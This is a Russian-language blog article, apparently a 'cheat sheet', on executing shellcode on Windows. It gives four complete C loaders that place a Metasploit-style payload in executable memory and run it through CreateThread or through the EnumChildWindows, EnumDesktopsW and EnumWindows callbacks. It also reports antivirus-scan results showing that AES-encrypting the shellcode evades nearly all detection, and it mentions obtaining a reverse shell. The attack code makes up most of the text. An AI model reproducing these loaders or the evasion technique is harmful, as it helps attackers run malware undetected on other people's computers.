Введение
Добро пожаловать в мою новую статью, эта статья представляет собой шпаргалку, показывающую все параметры, которые у вас есть для выполнения шелл-кода на компьютере с Windows. Он также показывает все параметры, которые отправляются в VirusTotal.
Базовое выполнение шелл-кода
Это не использование обратных вызовов, но это самый простой способ выполнить шелл-код и увидеть его.
#include <windows.h> #include <stdio.h> #include <stdlib.h> #include <string.h> // our payload calc.exe unsigned char my_payload[] = { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, }; unsigned int my_payload_len = sizeof(my_payload); int main(void) { void * my_payload_mem; // memory buffer for payload BOOL rv; HANDLE th; DWORD oldprotect = 0; // Allocate a memory buffer for payload my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // copy payload to buffer RtlMoveMemory(my_payload_mem, my_payload, my_payload_len); // make new buffer as executable rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect); if ( rv != 0 ) { // run payload th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0); WaitForSingleObject(th, -1); } return 0; }
ПОС
Выполняя EXE, я получаю обратный Shell.
Обнаружение
Выполнение EnumChildWindows
EnumChildWindows — это функция Windows API, которая используется для перечисления всех дочерних окон указанного родительского окна. В вредоносных программах он может использоваться для сбора информации о среде, в которой он работает. Например, вредоносное ПО может использовать EnumChildWindows для перечисления всех открытых окон и связанных с ними идентификаторов процессов, чтобы идентифицировать запущенные приложения и обнаруживать любые приложения, связанные с безопасностью, такие как антивирусное программное обеспечение. Кроме того, вредоносное ПО может использовать информацию, собранную с помощью EnumChildWindows, для выполнения вредоносных действий, таких как внедрение кода в другие процессы, кража данных или изменение системных настроек.
Код
Это код:
#include <windows.h> #include <stdio.h> int main(){ char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd" "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x63\x61\x6c\x63\x00"; HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(hAlloc, shellcode, sizeof(shellcode)); EnumChildWindows((HWND) NULL,(WNDENUMPROC) hAlloc,NULL); }
POC с программой-калькулятором
Шеллкод в последнем фрагменте кода представляет собой исполняемый файл калькулятора. Давайте запустим .exe, чтобы посмотреть, работает ли он…
Работает!
Обнаружение
Давайте загрузим это на антискан.me:
Этот AV в основном обнаруживает шелл-код MSF, давайте попробуем с шелл-кодом, зашифрованным с помощью AES.
Удивительно, теперь ни один AV не обнаружит это как вредоносное…
Выполнение EnumDesktopsW
Функция EnumDesktopsW
является частью Windows API и используется для перечисления рабочих столов, доступных в системе. В некоторых случаях хакеры могут использовать функцию EnumDesktopsW
как часть более крупной атаки, чтобы получить доступ к конфиденциальной информации или выполнить вредоносные действия в целевой системе.
В некоторых случаях злоумышленники могут использовать функцию EnumDesktopsW
для выполнения шелл-кода в рамках более крупной атаки.
Код
#include <windows.h> #include <stdio.h> #include "wingdi.h" int main(){ char shellcode[] ="\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd" "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x63\x61\x6c\x63\x00"; HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(hAlloc, shellcode, sizeof(shellcode)); EnumDesktopsW(GetProcessWindowStation(),(DESKTOPENUMPROCW) hAlloc, NULL); printf("%d", GetLastError()); VirtualFree(hAlloc,0, MEM_RELEASE); }
POC с калькулятором
Давайте посмотрим, правильно ли этот код выполнил калькулятор…
Обнаружение
Давайте загрузим это на антискан.me:
Он обнаруживается 12 AV, но если я зашифрую шелл-код, созданный с помощью MSFVenom, и попробую с шелл-кодом, зашифрованным с помощью AES:
Его обнаружил только один AV под названием Ahnlab V3.
Выполнение EnumWindows
EnumWindows
— это функция Windows API в операционной системе Windows, которая перечисляет все окна верхнего уровня на экране, передавая дескриптор каждого окна, в свою очередь, определяемой приложением функции обратного вызова. Функцию можно использовать для получения списка открытых в данный момент окон и управления ими или их изменения. Обычно он используется в программировании Windows и системном администрировании.
Код
#include <windows.h> #include <stdio.h> int main() { char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd" "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x63\x61\x6c\x63\x00"; HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT |MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(hAlloc, shellcode, sizeof(shellcode)); EnumWindows((WNDENUMPROC)hAlloc, NULL); }
POC с калькулятором
Программа-калькулятор успешно работает и здесь.
Обнаружение
Давайте загрузим это на антискан.me:
Его обнаруживает 15 AV, но если я зашифрую шелл-код, созданный с помощью MSFVenom, и попытаюсь использовать шелл-код, зашифрованный с помощью AES:
Теперь его обнаруживают только 2 AV…
Выводы
Если вам нравится мой контент и вы хотите помочь мне вывести этот проект на новый уровень, вы можете стать участником, пожертвовав ежемесячную подписку. Ваша поддержка поможет мне продолжать создавать качественный контент. Благодарим вас за щедрость!
Если в настоящее время пожертвование невозможно для вас, не проблема! Ваша поддержка в обмене моим проектом и распространении слова очень ценится. Я буду продолжать создавать и делиться своими работами, несмотря ни на что, и я благодарен за вашу поддержку и интерес.
Спасибо, что прочитали мою статью :)
S12.